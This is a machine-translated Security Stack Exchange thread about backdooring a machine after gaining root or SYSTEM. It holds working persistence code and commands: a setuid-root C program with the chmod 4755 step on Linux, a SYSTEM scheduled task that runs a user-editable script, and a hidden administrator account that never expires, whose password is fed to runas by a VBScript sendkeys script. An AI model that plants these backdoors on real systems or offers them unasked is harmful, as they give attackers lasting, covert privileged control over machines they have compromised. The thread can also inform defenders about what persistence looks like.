我研究了一下,我感到惊讶的是,在我扎根之后,把一台Linux机器后门是多么容易。我只需要编写一个这样的程序:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char **argv){
setresuid(0,0,0);
system(argv[1]);
}然后运行以下命令:
chown root:root backdoor
chmod 4755 backdoor因此,现在,任何用户都可以使用后门作为root执行命令:
./backdoor whoami然而,我不认为有任何简单的解决方案,如何后门一个窗口系统,我做的linux。所以我想提出一个蹩脚的问题:
在获得root等效(NT AUTHORITY\SYSTEM)之后,我如何后门打开一个窗口系统?
发布于 2022-11-10 14:32:42
首先,你我似乎对“后门”有不同的理解。对我来说,如果有人说到后门,我可以想象一些东西可以让攻击者远程控制机器--例如,特洛伊木马,或老鼠,或者他们可以用来登录的用户帐户,或者webshell等等。
您所说的是不同的东西--如何能够作为管理员(或NT权限\系统)运行任意命令。
当然,有多种方法;我首先想到的是创建一个计划好的任务,该任务可以运行5分钟,并执行位于用户可以访问的文件夹中的CMD脚本(%temp%会做得很好--不过,在我的示例中,我使用了一条比较容易访问的路径)。
schtasks /create /tn "TestBackdoor" /sc minute /mo 5 /tr "C:\temp\test.cmd" /RU System然后,用户只需创建或编辑这个文件,放入他喜欢的任何命令--它将在计划任务运行时执行。例如,
mkdir "C:\temp\btest"不是一个完美的后门,也相当嘈杂-但这很简单,我认为这里的关键问题是简单。

用于创建计划任务的命令的帮助可用于:
发布于 2022-11-10 15:13:05
我找到了另一种方法。
首先,创建一个用户
NET USER myuser pass /EXPIRES:NEVER /PASSWORDCHG:NO /TIMES:ALL /WORKSTATIONS:* /ADD接下来,将他添加到本地管理组中。
NET LOCALGROUP Administrators myuser /ADD现在我需要模拟用户,但是runas总是会询问密码。幸运的是,我找到了这个小费。
echo Set x=CreateObject("wscript.shell")>C:\windows\temp\pass.vbs
echo wscript.sleep 1000 >>C:\windows\temp\pass.vbs
echo x.sendkeys "pass" >>C:\windows\temp\pass.vbs
echo x.sendkeys "{enter}" >>C:\windows\temp\pass.vbs
start C:\windows\temp\pass.vbs
runas /user:myuser "cmd.exe /c whoami>C:\windows\temp\res.txt"或者是一行:
echo Set x=CreateObject("wscript.shell"):wscript.sleep 1000:x.sendkeys "pass":x.sendkeys "{enter}">C:\windows\temp\pass.vbs && start C:\windows\temp\pass.vbs && runas /user:myuser "cmd.exe /c whoami>C:\windows\temp\res.txt" && type C:\windows\temp\res.txt这个看起来像windows中的SUID版本。
https://security.stackexchange.com/questions/266228
复制相似问题